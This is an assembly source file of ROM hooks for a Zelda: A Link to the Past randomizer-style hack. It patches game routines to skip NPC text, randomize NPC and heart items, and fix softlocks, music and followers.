;---------------------------------------------------------- ;-- Not enough magic text org $07B0CC ; <- 3B0CC Bank07.asm : 7767 - (JSL Main_ShowTextMessage) NOP #4 ;---------------------------------------------------------- ; ;-- Witch's Assistant ; org $05F8E7 ; <- 2F8E7 sprite_potion_shop.asm : 603 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; org $05F8F5 ; <- 2F8F5 sprite_potion_shop.asm : 620 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;---------------------------------------------------------- ; ;-- Bottle Vendor ; org $05EAE3 ; <- 2EAE3 sprite_bottle_vendor.asm : 104 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_converse) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; org $05EB03 ; <- 2EB03 sprite_bottle_vendor.asm : 129 - (JSL Sprite_ShowMessageUnconditional) ; NOP #4 ; ;---------------------------------------------------------- ; ;-- Digging Game Guy ; org $1DFC76 ; <- EFC76 sprite_digging_game_guy.asm : 46 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .return) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; org $1DFCA6 ; <- EFCA6 sprite_digging_game_guy.asm : 89 (JSL Sprite_ShowMessageUnconditional) ; NOP #4 ; ;---------------------------------------------------------- ; ;-- Flute Boy ; org $06B078 ; <- 33078 sprite_flute_boy.asm : 244 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; org $06B0AF ; <- 330AF sprite_flute_boy.asm : 308 - (JSL Sprite_ShowMessageUnconditional) ; NOP #4 ; ;---------------------------------------------------------- ; ;-- 300 rupee npcs ; org $1EF047 ; <- F7047 sprite_shopkeeper.asm : 227 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) (probably) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;---------------------------------------------------------- ; ;-- Chest Game Guy ; org $1EEFBF ; <- F6FBF sprite_shopkeeper.asm : 121 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC BRANCH_ALPHA) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $1EEFE0 ; <- F6FE0 sprite_shopkeeper.asm : 144 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Desert Palace plaque (opening desert with book) org $1EE0D2 ; <- F60D2 Sprite_Hylian_Plaque.asm : 127 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ; ;---------------------------------------------------------- ; ;-- Uncle gives sword ; org $05DF34 ; <- 2DF34 sprite_uncle_and_priest.asm : 961 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .player_not_close_2) ; JSL Sprite_ShowMessageFromPlayerContact_Edit ; ;---------------------------------------------------------- ;=================================== ;-- Escort Text ;-- dw coordinate, coordinate, flag, text message number, tagalong number ;=================================== org $09A4C2 ; <- 4A4C2 tagalong.asm : 967 - (.room_data_1) dw $1EF0, $0288, $0001, $0097, $00F0 ; Old man first text after encounter text dw $1E58, $02F0, $0002, $0098, $00F0 ; Old man "dead end" (when you run to the pot) dw $1EA8, $03B8, $0004, $0099, $00F0 ; Old man "turn right here" dw $0CF8, $025B, $0001, $001F, $00F0 ; Zelda "there's a secret passage" dw $0CF8, $039D, $0002, $001F, $00F0 ; Zelda "there's a secret passage" dw $0C78, $0238, $0004, $001F, $00F0 ; Zelda "there's a secret passage" dw $0A30, $02F8, $0001, $0020, $00F0 ; Zelda "we can push this" dw $0178, $0550, $0001, $0021, $00F0 ; Zelda "pull the lever" dw $0168, $04F8, $0002, $0028, $00F0 ; Zelda room before sanctuary dw $1BD8, $16FC, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!" dw $1520, $167C, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!" dw $05AC, $04FC, $0001, $0027, $00F0 ; Zelda in the water room ;---------------------------------------------------------- ;---------------------------------------------------------- ;-- Speed up Walls (Desert, Mire, and Palace of Darkness) ; org $01CA66 ; <- CA66 Bank01.asm : 10864 - (LDA.w #$2200 : ADD $041C : STA $041C) ; LDA.w #$4400 ; #$2200 is the normal speed, $#FF00 is max. ;---------------------------------------------------------- ;-- Hobo gives item faster ; org $06BE3A ; <- 33E3A sprite_hobo.asm : 90 - (db 6, 2, 6, 6, 2, 100, 30) ; db 6, 2, 6, 6, 2, 6, 30 ;---------------------------------------------------------- ;-- Sick kid gives item faster ; org $06B9A1 ; <- 339A1 sprite_bug_net_kid : 62 - (db 8, 12, 8, 12, 8, 96, 16) ; db 8, 12, 8, 12, 8, 32, 16 ;---------------------------------------------------------- ;================================================================================ ; Ganon Fixes ;-------------------------------------------------------------------------------- ;org $1D91E3 ; <- E91E3 - sprite_ganon.asm : 778 ;JSL.l GanonWarpRNG ;NOP #2 ;LDA #$00 : NOP #4 ;-------------------------------------------------------------------------------- ; Hook end of Z3 save routine and save SM items/checksum ; Has to be at the end of the routine or NMI will disrupt the saving routine org $0089be jml zelda_save_done_hook ;================================================================================ ; Dark World Spawn Location Fix & Follower Fixes ;-------------------------------------------------------------------------------- org $00894A ; <- 94A PHB : JSL.l DarkWorldSaveFix ;-------------------------------------------------------------------------------- org $0CCF05 ; <- 64F05 JSL.l DarkWorldLoadFix NOP #7 ;-------------------------------------------------------------------------------- org $09F520 ; <- 4F520 - module_death.asm : 401 (LDA $7EF3C5 : CMP.b #$03 : BCS BRANCH_THETA) JSL.l OnPlayerDead JSL.l IncrementDeathCounter NOP #4 NOP #6 ;-------------------------------------------------------------------------------- ;org $02D61A ; <- 1561A ;LDA.b #$01 : STA $1B ; fix something i wrote over i shouldn't have ;-------------------------------------------------------------------------------- org $1ED379 ; <- F5379 - sprite_agahnim.asm:75 - JSL PrepDungeonExit JSL FixAgahnimFollowers ;================================================================================ ;================================================================================ ; Randomize NPC Items ;-------------------------------------------------------------------------------- org $028823 ; <- 10823 - Bank02.asm:1560 (LDA $7EF3C5 : BEQ .ignoreInput) JSL.l AllowSQ ;-------------------------------------------------------------------------------- org $08C45F ; <- 4445F - ancilla_recieve_item.asm:157 (STZ $02E9) JSL.l PostItemAnimation : NOP #2 ;-------------------------------------------------------------------------------- org $1EE90A ; <- F690A JSL.l ItemCheck_OldMan NOP #2 ;-------------------------------------------------------------------------------- org $0280F2 ; <- 100F2 JSL.l ItemCheck_OldMan NOP #2 ;-------------------------------------------------------------------------------- org $1EE9FE ; <- F69FE JSL.l ItemSet_OldMan ;-------------------------------------------------------------------------------- org $068F16 ; <- 30F16 JSL.l ItemCheck_ZoraKing ;-------------------------------------------------------------------------------- org $059ACA ; <- 29ACA JSL $1DE1AA ; Sprite_SpawnFlippersItem ;-------------------------------------------------------------------------------- org $1DE1E4 ; <- EE1E4 - sprite_great_catfish.asm : 489 JSL.l LoadZoraKingItemGFX NOP #2 ;-------------------------------------------------------------------------------- org $1DE1A1 ; <- EE1A1 - sprite_great_catfish.asm : 45 JSL.l LoadCatfishItemGFX NOP #2 ;-------------------------------------------------------------------------------- org $068D86 ; <- 30D86 JSL.l ItemCheck_SickKid ;-------------------------------------------------------------------------------- org $06B9D4 ; <- 339D4 - sprite_bug_net_kid.asm : 111 (JSL Link_ReceiveItem) JSL.l ItemSet_SickKid ;-------------------------------------------------------------------------------- org $068BAC ; <- 30BAC - SpritePrep_FluteBoy : 1068 JSL.l ItemCheck_TreeKid2 org $06908D ; <- 3108D - SpritePrep_FluteBoy : 2175 JSL.l ItemCheck_TreeKid CMP.b #$08 BEQ $0A org $069095 ; <- 31095 - SpritePrep_FluteBoy : 2177 JSL.l ItemCheck_TreeKid CMP.b #$08 org $0690BD ; <- 310BD - SpritePrep_FluteBoy : 2202 JSL.l ItemCheck_TreeKid2 org $06AF9B ; <- 32F9B - FluteBoy_Chillin : 73 : LDA $7EF34C : CMP.b #$02 : BCS .player_has_flute ;NOP #8 LDA !HAS_GROVE_ITEM : AND.b #$01 db #$D0 ; BNE org $06B062 ; <- 33062 - FluteAardvark_InitialStateFromFluteState : 225 : LDA $7EF34C : AND.b #$03 : !BGE #$05 JSL.l ItemCheck_TreeKid2 NOP #$02 ; remove pointless AND org $06B048 ; <- 33048 JSL.l ItemCheck_TreeKid3 org $06AF59 ; <- 32F59 - sprite_flute_boy.asm : 36 (LDA $0D80, X : CMP.b #$03 : BEQ .invisible) JML.l FluteBoy FluteBoy_Abort: RTS FluteBoy_Continue: ;org $1E9968 ; <- F1968 - sprite_flute_boy_ostrich.asm : 14 (dw FluteBoyOstrich_Chillin) ;dw #$9991 ; FluteBoyOstrich_RunAway ;-------------------------------------------------------------------------------- org $06B0C9 ; <- 330C9 JSL.l ItemSet_TreeKid ;-------------------------------------------------------------------------------- org $05F177 ; <- 2F177 JSL.l ItemCheck_Sahasrala ;-------------------------------------------------------------------------------- org $05F200 ; <- 2F200 JSL.l ItemSet_Sahasrala ;-------------------------------------------------------------------------------- org $1DE102 ; <- EE102 JSL.l ItemCheck_Catfish org $1DE11C ; <- EE11C JSL.l ItemCheck_Catfish ;-------------------------------------------------------------------------------- org $1DE1A1 ; <- EE1A1 - sprite_great_catfish.asm : 445 JSL.l LoadCatfishItemGFX NOP #2 ;-------------------------------------------------------------------------------- org $1DDF49 ; <- EDF49 - sprite_great_catfish.asm : 19 JML.l JumpToSplashItemTarget : NOP org $1DDF4E ; <- EDF4E - sprite_great_catfish.asm : 21 SplashItem_SpawnSplash: org $1DDF52 ; <- EDF52 - sprite_great_catfish.asm : 27 SplashItem_SpawnOther: org $1DE228 ; <- EE228 - sprite_great_catfish.asm : 290 LDA.b #$FF ;-------------------------------------------------------------------------------- org $1DDF81 ; <- EDF81 - sprite_great_catfish.asm : 61 JSL.l DrawThrownItem ;-------------------------------------------------------------------------------- ;org $1DE1B0 ; <- EE1B0 - sprite_great_catfish.asm : 461 ;NOP #2 ;-------------------------------------------------------------------------------- org $05EE53 ; <- 2EE53 - mushroom.asm : 22 JSL.l ItemCheck_Mushroom NOP #2 ;-------------------------------------------------------------------------------- org $05EE8C ; <- 2EE8C - mushroom.asm : 69 JSL.l ItemSet_Mushroom NOP ;-------------------------------------------------------------------------------- org $05F53E ; <- 2F53E - sprite_potion_shop.asm : 40 JSL.l ItemCheck_Powder CMP.b #$20 ;-------------------------------------------------------------------------------- ; the quake medallion AND FLIPPERS org $1DDF71 ; <- EDF71 - sprite_great_catfish.asm : 47 JSL.l MarkThrownItem ;-------------------------------------------------------------------------------- ;org $05F65D ; <- 2F65D - DONE IN INVENTORY ;JSL.l ItemSet_Powder ;NOP #2 ;-------------------------------------------------------------------------------- ;JSL.l ItemCheck_RupeeNPC ;-------------------------------------------------------------------------------- ;JSL.l ItemSet_RupeeNPC ;-------------------------------------------------------------------------------- ;org $08D01B ; PC 0x4501B - ancilla_flute.asm - 55 ;JSL.l ItemSet_Flute ;-------------------------------------------------------------------------------- org $05FAFF ; <- 2FAFF - sprite_mad_batter.asm:57 (LDA $7EF37B : CMP.b #$01 : BCS .magic_already_doubled) JSL.l ItemCheck_MagicBat : BEQ + : RTS : NOP : + ;================================================================================ ;================================================================================ ; Boss Hearts ;-------------------------------------------------------------------------------- org $05EF5D ; <- 2EF5D - sprite_heart_upgrades.asm:110 (JSL GetAnimatedSpriteTile.variable) JSL.l HeartContainerSpritePrep ;-------------------------------------------------------------------------------- org $05EF79 ; <- 2EF79 - sprite_heart_upgrades.asm:128 (JSL Sprite_PrepAndDrawSingleLargeLong) JSL.l DrawHeartContainerGFX ;-------------------------------------------------------------------------------- org $05EFCE ; <- 2EFCE - sprite_heart_upgrades.asm:176 (JSL Link_ReceiveItem) ;org $05EFEE ; <- 2EFEE - sprite_heart_upgrades.asm:202 (JSL Link_ReceiveItem) JSL.l HeartContainerGet ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- org $0799B1 ; 399B1 - Bank07.asm:4063 (CPY.b #$3E : BNE .notHeartContainer) JSL.l HeartContainerSound BCC Link_ReceiveItem_notHeartContainer ; JSR Player_DoSfx3 org $0799BA ; 399BA - Bank07.asm:4070 (LDA.b #$60 : STA $02D9) Link_ReceiveItem_notHeartContainer: ;-------------------------------------------------------------------------------- org $09887F ; <- 4887F - ancilla_init.asm : 1163 (LDA $0C5E, X : CMP.b #$3E : BEQ .doneWithSoundEffects) JSL NormalItemSkipSound NOP BCS AddReceivedItem_doneWithSoundEffects org $0988AE ; <- 488AE - ancilla_init.asm : 1193 (LDA.b #$0A : STA $02) AddReceivedItem_doneWithSoundEffects: ;================================================================================ ; Heart Pieces ;-------------------------------------------------------------------------------- org $05F030 ; <- 2F030 - display item JSL.l DrawHeartPieceGFX ;-------------------------------------------------------------------------------- org $05F08A ; <- 2F08A - sprite_heart_upgrades.asm : 324 - (LDA $7EF36B : INC A : AND.b #$03 : STA $7EF36B : BNE .got_4_piecese) item determination JSL.l HeartPieceGet BCS $18 ; reinsert the near branch that appears midway through what we overrode NOP #22 ;-------------------------------------------------------------------------------- org $06C0B0 ; <- 340B0 - sprite prep JSL.l HeartPieceSpritePrep ;-------------------------------------------------------------------------------- org $08C45B ; <- 4445B - ancilla_receive_item.asm : 152 JSL.l HPItemReset ;-------------------------------------------------------------------------------- org $05EF1E ; <- 2EF1E - sprite_heart_upgrades.asm : 48 (LDA $7EF280, X : AND.b #$40 : BEQ .dont_self_terminate) JSL.l HeartUpgradeSpawnDecision ;-------------------------------------------------------------------------------- org $05EFFA ; <- 2EFFA - sprite_heart_upgrades.asm : 216 (LDA $7EF280, X : ORA.b #$40 : STA $7EF280, X) JSL.l SaveHeartCollectedStatus NOP #6 ;================================================================================ ;================================================================================ ; Fake Flippers Softlock Fix + General Damage Hooks ;-------------------------------------------------------------------------------- org $078091 ; <- 38091 - Bank07.asm:138 (LDA $037B : BNE .linkNotDamaged) LDA $0373 : STA $00 : STZ $0373 ; store and zero damage LDA $037B : BNE LinkDamaged_linkNotDamaged ; skip if immune ;-------------------------------------------------------------------------------- org $0780C6 ; <- 380C6 - Bank07.asm:174 (LDA $7EF36D) JSL.l OnLinkDamaged ;-------------------------------------------------------------------------------- org $0780FB ; <- 380FB - Bank07.asm:207 (.linkNotDamaged) LinkDamaged_linkNotDamaged: ;-------------------------------------------------------------------------------- org $0794FB ; <- 394FB - Bank07.asm:3336 (LDA.b #$14 : STA $11) JSL.l OnLinkDamagedFromPit ;-------------------------------------------------------------------------------- ; org $01FFE7 ; <- FFE7 - Bank01.asm:16375 (LDA $7EF36D) ; JSL.l OnLinkDamagedFromPitOutdoors ; commenting this out, since it is for OHKO-mode in LttP. it jumps to an RTL ; which currently does nothing. as a result, it sets Link's hearts to 4.5 ; when you jump off the bridge on death mountain ;-------------------------------------------------------------------------------- org $078F27 ; <- 38F27 JSL.l FlipperReset ;-------------------------------------------------------------------------------- org $09F40B ; <- 4F40B - module_death.asm:222 (LDX.b #$00) JSL.l IgnoreFairyCheck ;-------------------------------------------------------------------------------- org $078F51 ; <- 38F51 - Bank07.asm:2444 (JSR $AE54 ; $3AE54 IN ROM) JSL.l OnEnterWater : NOP ;-------------------------------------------------------------------------------- ;================================================================================ ; Floodgate Softlock Fix ;-------------------------------------------------------------------------------- org $0AB8E5 ; <- 538E5 JSL.l FloodGateAndMasterSwordFollowerReset JSL.l IncrementFlute NOP #32 ;-------------------------------------------------------------------------------- org $02AA87 ; <- 12A87 JSL.l OnOWTransition NOP #36 ;================================================================================ ;================================================================================ ; Add SFX ;-------------------------------------------------------------------------------- org $1DFDA8 ; <- EFDA9 - sprite_digging_game_guy.asm:309 (STA $7FFE00) JSL.l SpawnShovelGamePrizeSFX ;-------------------------------------------------------------------------------- ;org $01EEB6 ; <- EEB6 - Bank01.asm:14138 (ORA.b #$40 : STA $0403) org $01EECD ; <- EECD - Bank01.asm:14160 (LDA.b #$0E : STA $012F) JSL.l SpawnChestGamePrizeSFX : NOP ;================================================================================ ;================================================================================ ; Heart Beep Timer ;-------------------------------------------------------------------------------- org $0DDC9B ; <- 6DC9B JSL.l BeepLogic NOP #6 ;================================================================================ ;================================================================================ ; Item Downgrade Fix ;-------------------------------------------------------------------------------- org $09865E ; <- 4865E JSL.l $1BEE1B ; fix something i wrote over i shouldn't have ;-------------------------------------------------------------------------------- org $098638 ; <- 48638 - ancilla_init.asm:737 - LDA .item_values, Y : BMI .dontWrite (BMI) JSL.l ItemDowngradeFix ;================================================================================ ;================================================================================ ; Lamp Mantle & Light Cone Fix ;-------------------------------------------------------------------------------- org $1AFC4D ; <- D7C4D - sprite_movable_mantle.asm:31 (LDA $7EF3CC : CMP.b #$01 : BNE .return) JSL.l CheckForZelda ;-------------------------------------------------------------------------------- org $1AFC55 ; <- D7C55 - sprite_movable_mantle.asm:34 (LDA $7EF34A : BEQ .return) NOP #6 ; remove check ;-------------------------------------------------------------------------------- org $068841 ; <- 30841 - sprite_prep.asm:269 (LDA $0D00, X : ADD.b #$03 : STA $0D00, X) JSL.l Mantle_CorrectPosition : NOP #2 ;-------------------------------------------------------------------------------- org $0DFA53 ; <- 6FA53 - hud check for lantern JSL.l LampCheck ;-------------------------------------------------------------------------------- org $01F503 ; <- F503 - Bank01.asm:14994 (LDA.b #$01 : STA $1D) JSL.l SetOverlayIfLamp ;================================================================================ ; ;================================================================================ ; ; Overworld Door Frame Overlay Fix ; ; ; ; When entering an overworld entrance, if it is an entrance to a simple cave, we ; ; store the overworld door id, then use that (instead of the cave id) to determine the ; ; overlay to draw when leaving the cave again. We also use this value to ; ; identify the tavern entrance to determine whether link should walk up or down. ; ;-------------------------------------------------------------------------------- ; org $1BBD5F ; <- Bank1b.asm:296 (LDA $1BBB73, X : STA $010E) ; JSL.l StoreLastOverworldDoorID ; NOP #3 ; ;-------------------------------------------------------------------------------- ; org $02D754 ; <- Bank02.asm:10847 (LDA $D724, X : STA $0696 : STZ $0698) ; JSL.l CacheDoorFrameData ; NOP #5 ; ;-------------------------------------------------------------------------------- ; org $0298AD ; <- Bank02.asm:4495 (LDA $010E : CMP.b #$43) ; JSL.l WalkDownIntoTavern ; NOP #1 ; ;================================================================================ ;================================================================================ ; Music fixes ;-------------------------------------------------------------------------------- org $0282F4 ; <- Bank02.asm:654 (LDY.b #$58 ...) JML.l PreOverworld_LoadProperties_ChooseMusic org $028389 ; <- Bank02.asm:763 PreOverworld_LoadProperties_SetSong: ;-------------------------------------------------------------------------------- org $05CC58 ; <- Bank05.asm:1307 (LDA $040A : CMP.b #$18) JSL PsychoSolder_MusicCheck NOP #1 ;================================================================================ ;================================================================================ ; Hooks for roomloading.asm ;-------------------------------------------------------------------------------- org $02895D ; <- Bank02.asm:1812 (JSL Dungeon_LoadRoom) JSL LoadRoomHook ;-------------------------------------------------------------------------------- org $028BE7 ; <- Bank02.asm:2299 (JSL Dungeon_LoadRoom) JSL LoadRoomHook_noStats ;-------------------------------------------------------------------------------- org $029309 ; <- Bank02.asm:3533 (JSL Dungeon_LoadRoom) JSL LoadRoomHook_noStats ;-------------------------------------------------------------------------------- org $02C2F3 ; <- Bank02.asm:10391 (JSL Dungeon_LoadRoom) JSL LoadRoomHook_noStats ;================================================================================ ;================================================================================ ; Hooks into the "Reloading all graphics" routine ;-------------------------------------------------------------------------------- org $00E64D ; <- Bank00.asm:5656 (STZ $00 : STX $01 : STA $02) JML BgGraphicsLoading BgGraphicsLoadingCancel: RTS : NOP BgGraphicsLoadingResume: ;================================================================================ ;================================================================================ ; Hook when updating the floor tileset in dungeons (such as between floors) ;-------------------------------------------------------------------------------- org $00DF62 ; <- Bank00.asm:4672 (LDX.w #$0000 : LDY.w #$0040) JML ReloadingFloors NOP : NOP ReloadingFloorsResume: org $00DF6E ; <- A few instructions later, right after JSR Do3To4High16Bit ReloadingFloorsCancel: ;================================================================================ ; ;================================================================================ ; ; Hook bow use - to use rupees instead of actual arrows ; ;-------------------------------------------------------------------------------- ; org $07A055 ; <- Bank07.asm:5205 (LDA $0B99 : BEQ BRANCH_DELTA) ; JSL.l ArrowGame : NOP #14 ; org $07A06C ; <- Bank07.asm:5215 (LDA $7EF377 : BEQ BRANCH_EPSILON) ; JSL.l DecrementArrows : SKIP 2 : NOP : LDA $7EF377 ; ;================================================================================ ; ;================================================================================ ; ; Quick Swap ; ;-------------------------------------------------------------------------------- ; org $0287FB ; <- 107FB - Bank02.asm:1526 (LDA $F6 : AND.b #$40 : BEQ .dontActivateMap) ; JSL.l QuickSwap ; org $02A451 ; <- 12451 - Bank02.asm:6283 (LDA $F6 : AND.b #$40 : BEQ .xButtonNotDown) ; JSL.l QuickSwap ; ;================================================================================ ;================================================================================ ; Tagalong Fixes ;-------------------------------------------------------------------------------- org $0689AB ; <- 309AB - sprite_prep.asm: 647 (LDA $7EF3CC : CMP.b #$06 : BEQ .killSprite) ; Note: In JP 1.0 we have: (CMP.b #$00 : BNE .killSprite) appling US bugfix ; Prevent followers from causing blind/maiden to despawn: CMP.b #$06 : db #$F0 ; BEQ ;-------------------------------------------------------------------------------- ;Control which doors frog/smith can enter org $1BBCF0 ; <- DBCF0 - Bank1B.asm: 248 (LDA $04B8 : BNE BRANCH_MU) Overworld_Entrance_BRANCH_LAMBDA: ; Branch here to show Cannot Enter with Follower message org $1BBD55 ; <- DBD55 - Bank1B.asm: 290 (CPX.w #$0076 : BCC BRANCH_LAMBDA) JML.l SmithDoorCheck : NOP Overworld_Entrance_BRANCH_RHO: ; branch here to continue into door ;================================================================================ ; ;================================================================================ ; ; Paradox Cave Shopkeeper Fixes ; ;-------------------------------------------------------------------------------- ; org $008C19 ; Bank00.asm@1633 (LDA.b #$01 : STA $420B) ; JSL ParadoxCaveGfxFix ; NOP ;-- Extended sprite sheets ; org $00e7b2 ; - bank00.asm : 5847 jml Decomp_spr_high_extended org $00e7de Decomp_spr_high_extended_return: ;================================================================================ ; Text Removal ;-------------------------------------------------------------------------------- ;-- Music restarting at zelda fix org $05ED10 ; <- 2ED10 - sprite_zelda.asm : 233 - (LDA.b #$19 : STA $012C) NOP #5 ;-------------------------------------------------------------------------------- org $1ECE47 ; <- F4E47 - sprite_crystal_maiden.asm : 220 JML.l MaidenCrystalScript ;-------------------------------------------------------------------------------- org $1ECCEB ; <- F4CEB - sprite_crystal_maiden.asm : 25 ; skip all palette nonsense JML.l SkipCrystalPalette ;;;org $1ECD39 ;;;SkipCrystalPalette: ;-------------------------------------------------------------------------------- org $08C3FD ; <- 443FD - ancilla_receive_item.asm : 89 !MS_GOT = "$7F5031" LDA #$40 : STA !MS_GOT ;;NOP #6 ; don't set master sword follower ;-------------------------------------------------------------------------------- org $08C5FE ; <- 445FE - ancilla_receive_item.asm : 408 NOP #4 ;-------------------------------------------------------------------------------- org $1ED467 ; <- F5467 - sprite_agahnim.asm : 202 NOP #4 ;-------------------------------------------------------------------------------- org $1ED4FF ; <- F54FF - sprite_agahnim.asm : 328 NOP #4 ;-------------------------------------------------------------------------------- ;org $029C94 ; <- 11C94 - Bank02.asm : 5197 (JSL Main_ShowTextMessage) ;NOP #4 ;-------------------------------------------------------------------------------- org $029CBD ; <- 11CBD - Bank02.asm : 5227 (JSL Messaging_Text) STZ $11 NOP #2 ;-------------------------------------------------------------------------------- ;org $029CD3 ; <- 11CD3 - Bank02.asm : 5237 (BNE BRANCH_BETA) ;db $80 ; BRA ;-------------------------------------------------------------------------------- org $029CDF ; <- 11CDF - Bank02.asm : 5245 (JSL Main_ShowTextMessage) NOP #4 ;-------------------------------------------------------------------------------- org $029CF0 ; <- 11CF0 - Bank02.asm : 5266 STZ $11 NOP #2 ;-------------------------------------------------------------------------------- org $05FB70 ; <- 2FB70 - sprite_mad_batter.asm:131 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-------------------------------------------------------------------------------- org $05FBC2 ; <- 2FBC3 - sprite_mad_batter.asm:195 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-------------------------------------------------------------------------------- ;org $05F16C ; <- 2F16C - sprite_elder.asm : 137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F190 ; <- 2F190 - sprite_elder.asm : 170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1A8 ; <- 2F1A8 - sprite_elder.asm : 182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1BC ; <- 2F1BC - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1CE ; <- 2F1CE - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;-- Old mountain man healing text org $1EEAD7 ; F6AD7 sprite_old_mountain_man.asm : (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-------------------------------------------------------------------------------- ;-- Priest healing text org $05DE11 ; 2DE11 sprite_uncle_and_priest.asm : 720 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .gamma) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-------------------------------------------------------------------------------- ;-- zelda's heal text org $05EE38 ; <- 2ee38 sprite_zelda.asm : 474 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-------------------------------------------------------------------------------- ;-- zelda in jail org $05ED06 ; <- 2ED06 sprite_zelda.asm : 227 - (JSL Sprite_ShowMessageUnconditional) STZ $1CE8 : NOP org $05ED27 ; <- 2ED27 sprite_zelda.asm : 256 - (JSL Sprite_ShowMessageUnconditional) NOP #4 org $05ED35 ; <- 2ED35 sprite_zelda.asm : 272 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- sanctuary org $05DD83 ; <- 2DD83 sprite_uncle_and_priest.asm : 608 - (JSL Sprite_ShowMessageUnconditional) STZ $1CE8 : NOP org $05EDC8 ; <- 2EDC8 sprite_zelda.asm : 388 - (JSL Sprite_ShowMessageUnconditional) NOP #4 org $05DDAB ; <- 2DDAB sprite_uncle_and_priest.asm : 635 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- Sick Kid org $06B9C6 ; <- 339C6 sprite_bug_net_kid.asm : 92 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- Hobo org $06BE5F ; <- 33E5F sprite_hobo.asm : 121 - (JSL Sprite_ShowMessageUnconditional) Nop #4 ;---------------------------------------------------------- ;-- Sahasrahla org $05F190 ; <- 2F190 sprite_elder.asm : 154 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show_2) - "Blah blah blah, take the boots" JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $05F212 ; <- 2F212 sprite_elder.asm : 261 - (JSL Sprite_ShowMessageUnconditional) - "Gave you the boots but I'm not doing talking yet" NOP #4 org $05F1ED ; <- 2F1ED sprite_elder.asm : 225 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Shopkeepers org $1EEF7C ; <- F6F7C sprite_shopkeeper.asm : 85 (JSL Sprite_ShowMessageUnconditional) NOP #4 org $1EF375 ; <- F7375 sprite_shopkeeper.asm : 810 (JSL Sprite_ShowMessageUnconditional : JSL ShopKeeper_RapidTerminateReceiveItem) NOP #8 ;---------------------------------------------------------- ;-- Bomb shop guy (buying small bombs, and buying big bomb) org $1EE1C0 ; <- F61C0 sprite_bomb_shop_entity.asm : 120 (JSL Sprite_ShowMessageUnconditional) NOP #4 org $1EE208 ; <- F6208 sprite_bomb_shop_entity.asm : 178 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- Text hook for the actual npc org $1EE181 ; <- F6181 sprite_bomb_shop_entity.asm : 85 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;;;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ;---------------------------------------------------------- ;-- Catfish org $1DE112 ; <- EE112 sprite_great_catfish.asm : 341 (JSL Sprite_ShowMessageMinimal) NOP #4 ;---------------------------------------------------- ;-- King Zora org $059A7D ; <- 29A7D sprite_zora_king.asm : 223 - (JSL Sprite_ShowMessageMinimal) STZ $1CE8 : NOP ;---------------------------------------------------- ;-- Before Agah 1 fight org $1DD299 ; <- ED299 sprite_chatty_agahnim.asm : 111 (JSL Sprite_ShowMessageMinimal) NOP #4 org $1DD35E ; <- ED35E sprite_chatty_agahnim.asm : 253 (JSL Sprite_ShowMessageMinimal) NOP #4 ;---------------------------------------------------- ;-- Blind Maiden (in jail) ;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak) ;NOP #4 ;---------------------------------------------------- ;-- Blind (Maiden) in Jail org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak) JSL Sprite_ShowMessageFromPlayerContact_Edit ;---------------------------------------------------- ;-- Kiki org $1EE3E6 ; <- F63E6 sprite_kiki.asm : 157 pay kiki 10 rupees STZ $1CE8 : NOP org $1EE400 ; <- F6400 sprite_kiki.asm : 178 thanks for giving kiki rupees NOP #4 org $1EE4FB ; <- F64FB sprite_kiki.asm : 340 pay 100 rupees STZ $1CE8 : NOP org $1EE523 ; <- F6523 sprite_kiki.asm : 373 